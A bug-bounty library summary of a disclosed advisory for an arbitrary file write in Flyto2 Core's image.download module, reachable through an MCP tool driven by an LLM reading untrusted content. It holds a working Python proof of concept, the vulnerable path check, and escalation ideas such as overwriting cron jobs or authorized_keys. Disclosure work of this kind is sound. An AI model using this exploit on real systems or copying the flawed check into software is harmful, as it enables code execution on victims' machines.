# Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)

Flyto2 Core's image.download confines writes to a caller-supplied output_dir, so an attacker-chosen base passes any path and arbitrary HTTP bytes land outside the sandbox.

- Payout: Research
- Severity: critical
- Program: Flyto2 Core
- Found by: kaimandalic
- Disclosed: 2026-07-30
- CVE: CVE-2026-67429
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2956-977x-2w3r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2956-977x-2w3r
- Tags: area:ai domain:ai impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:llm tech:python technique:source-review vuln:path-traversal

**Target:** Python module registry / MCP execute_module tool (image.download)
**Root cause:** image.download validates output_path against output_dir, but output_dir is itself a caller parameter, so the commonpath check is trivially satisfied by setting output_dir='/'. It bypasses the central validate_path_with_env_config guard that confines writes to FLYTO_SANDBOX_DIR.
**Steps:**
1. Set `FLYTO_ALLOWED_HOSTS=localhost` so the content host passes the SSRF check.
2. Host attacker bytes on a public/local server returning Content-Type image/jpeg.
3. Call `image.download` with `url=http://localhost:8080/x.jpg`, `output_dir=<escape dir>`, `output_path=<escape dir>/pwned`.
4. Observe `file.write` to the same path raises PATH_TRAVERSAL, while `image.download` returns ok and writes the attacker bytes outside FLYTO_SANDBOX_DIR.
**How found:** Compared file.write (which uses validate_path_with_env_config and stays in FLYTO_SANDBOX_DIR) against image.download, noticing the latter checks output_path against a caller-supplied output_dir — a base the attacker controls, making the confinement meaningless. Also audited other file-writing modules and found most lack any path check.
**Exploitation:** Attacker (LLM processing untrusted content via the MCP execute_module tool, or a hosted-API client) supplies url, output_dir and output_path. The URL is SSRF-checked so the payload is hosted on an allowed public server; output_dir is set to '/' so the commonpath check passes for any absolute target. The HTTP response bytes are written to the chosen path, enabling overwrite of config, shell profiles, cron jobs, authorized_keys, or Python modules for code execution.
**Escalation:** Arbitrary file write outside sandbox escalates to code execution by overwriting a Python module, shell profile, cron job or authorized_keys.
**Insight:** When a path guard compares a target against a base, check whether the base is itself a caller parameter — a correct commonpath call is useless if the attacker picks both sides. Diff sibling modules that share a capability (file.write vs image.download) to find the one that skipped the central guard.

## Proof of concept (copied exactly from the original report)

**PoC script writing outside sandbox via image.download**

```
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def run(mid, params):
    from core.modules.registry import ModuleRegistry
    try:
        return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
    except Exception as e:
        return ("EXC", f"{type(e).__name__}: {e}")

async def main():
    from core.modules.atomic import register_all
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
    root = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # OUTSIDE the sandbox
    print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
    print("B) image.download:", await run("image.download", {
        "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
    print("file written outside sandbox?", os.path.exists(target))
    if os.path.exists(target):
        print("content:", open(target, "rb").read())

if __name__ == "__main__":
    asyncio.run(main())
```

**Vulnerable image.download path check code**

```
output_path = params.get('output_path')
output_dir  = params.get('output_dir', '/tmp')   # caller-controlled base
...
base_real   = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes
...
content = await response.read()                   # attacker-hosted bytes
with open(target_real, 'wb') as f:
    f.write(content)
```

